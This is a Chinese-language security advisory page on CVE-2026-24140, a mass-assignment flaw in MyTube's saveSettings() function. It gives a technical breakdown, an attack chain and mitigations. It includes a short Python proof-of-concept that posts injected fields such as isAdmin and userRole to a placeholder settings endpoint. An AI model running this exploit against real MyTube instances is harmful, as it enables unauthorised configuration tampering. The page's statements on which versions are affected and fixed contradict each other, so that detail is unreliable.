IPBUF安全漏洞报告
English
CVE-2026-24140 CVSS 2.7 低危

CVE-2026-24140 MyTube saveSettings()函数批量赋值漏洞

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2026-24140
漏洞类型
Mass Assignment(批量赋值)
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
MyTube

相关标签

Mass AssignmentInput ValidationMyTubeCVE-2026-24140Settings ManagementInsecure DeserializationPrivilege Escalation

漏洞概述

MyTube是一款自托管的视频网站下载和播放工具。在1.7.78及以下版本中,settings管理功能存在Mass Assignment(批量赋值)安全漏洞。该漏洞的根本原因在于saveSettings()函数对用户输入的验证不足。应用程序使用Record<string, any>作为输入参数类型,并通过Object.entries()遍历所有传入的键值对,但没有对属性名进行白名单验证或过滤未授权字段。攻击者(需具备高权限)可以通过构造特殊的请求包,在请求中注入任意键值对,这些数据将直接被持久化到数据库中,而不管该属性是否为合法的应用程序配置项。此漏洞可能导致应用程序配置被恶意篡改,例如修改管理员账户、改变应用程序行为参数或添加后门配置。虽然该漏洞的CVSS评分为2.7(低危),但在高权限场景下仍可能造成安全风险。漏洞已于1.7.78版本中修复。

技术细节

Mass Assignment漏洞发生在应用程序错误地将客户端请求参数直接绑定到服务端对象或数据库记录时。在MyTube的1.7.78及以下版本中,saveSettings()函数的实现存在以下问题:

1. **类型定义宽松**:函数使用Record<string, any>作为输入参数类型,允许接受任意字符串键和任意类型的值。

2. **缺乏输入验证**:函数使用Object.entries()直接遍历用户传入的所有键值对,没有与预定义的允许设置列表进行比对。

3. **直接持久化**:所有传入的属性都会被直接写入数据库,包括那些并非应用程序设计意图的字段。

4. **权限要求**:该漏洞需要攻击者具有高权限(PR:H),意味着需要管理员或具有设置修改权限的账户。

攻击者可以通过向settings端点发送包含额外键值对的POST请求来利用此漏洞。例如,除了正常的设置参数外,还可以注入用于修改用户角色、添加管理员账户或修改安全配置的字段。由于函数缺乏验证逻辑,这些恶意字段会被直接保存到数据库中,导致配置被篡改。修复方案需要在保存设置前增加白名单验证,只允许预定义的合法配置项被修改。

攻击链分析

STEP 1
步骤1
攻击者获取MyTube应用程序的高权限账户(如管理员账号)
STEP 2
步骤2
攻击者构造恶意的POST请求到settings端点,在正常设置参数中注入任意键值对
STEP 3
步骤3
saveSettings()函数接收Record<string, any>类型的参数,使用Object.entries()遍历所有传入的键值对
STEP 4
步骤4
由于函数缺乏白名单验证,恶意注入的字段(如isAdmin、userRole等)未被过滤
STEP 5
步骤5
所有键值对(包括恶意字段)被直接持久化到数据库,导致应用程序配置被篡改
STEP 6
步骤6
攻击者利用篡改后的配置提升权限、修改应用程序行为或创建后门账户

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-24140 PoC - Mass Assignment in MyTube saveSettings() # Target: MyTube <= 1.7.78 # Authentication required: High privilege (admin access) TARGET_URL = "http://target-server/api/settings" AUTH_TOKEN = "your-admin-auth-token" def exploit_mass_assignment(): """ Exploit Mass Assignment vulnerability in MyTube saveSettings() function. Attacker can inject arbitrary key-value pairs that get directly persisted to the database without validation. """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Normal settings payload payload = { "theme": "dark", "language": "en", # Malicious injected fields - these should be blocked but aren't "isAdmin": True, "userRole": "administrator", "debugMode": True, "customField": "malicious_value" } response = requests.post(TARGET_URL, headers=headers, json=payload) if response.status_code == 200: print("[+] Mass Assignment exploit successful!") print("[+] Injected fields were persisted to database:") for key in ["isAdmin", "userRole", "debugMode", "customField"]: print(f" - {key}: {payload[key]}") else: print(f"[-] Exploit failed with status code: {response.status_code}") if __name__ == "__main__": exploit_mass_assignment()

影响范围

MyTube <= 1.7.78

防御指南

临时缓解措施
如果无法立即升级,可通过以下措施临时缓解:在Web应用防火墙(WAF)中添加规则,阻止包含非预期字段的settings相关请求;限制settings端点的访问权限,仅允许受信任的IP地址访问;监控数据库中settings表的异常修改行为;考虑临时禁用设置修改功能直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表